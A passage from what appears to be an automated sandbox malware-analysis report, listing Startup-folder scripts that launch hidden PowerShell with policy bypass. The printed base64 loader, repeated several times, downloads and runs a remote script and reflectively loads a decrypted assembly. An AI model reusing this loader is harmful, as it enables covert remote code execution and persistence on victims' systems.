Bqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 7596 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7764 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1588 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 8000 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 8036 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8008 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 6416 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 4340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6208 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3432 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG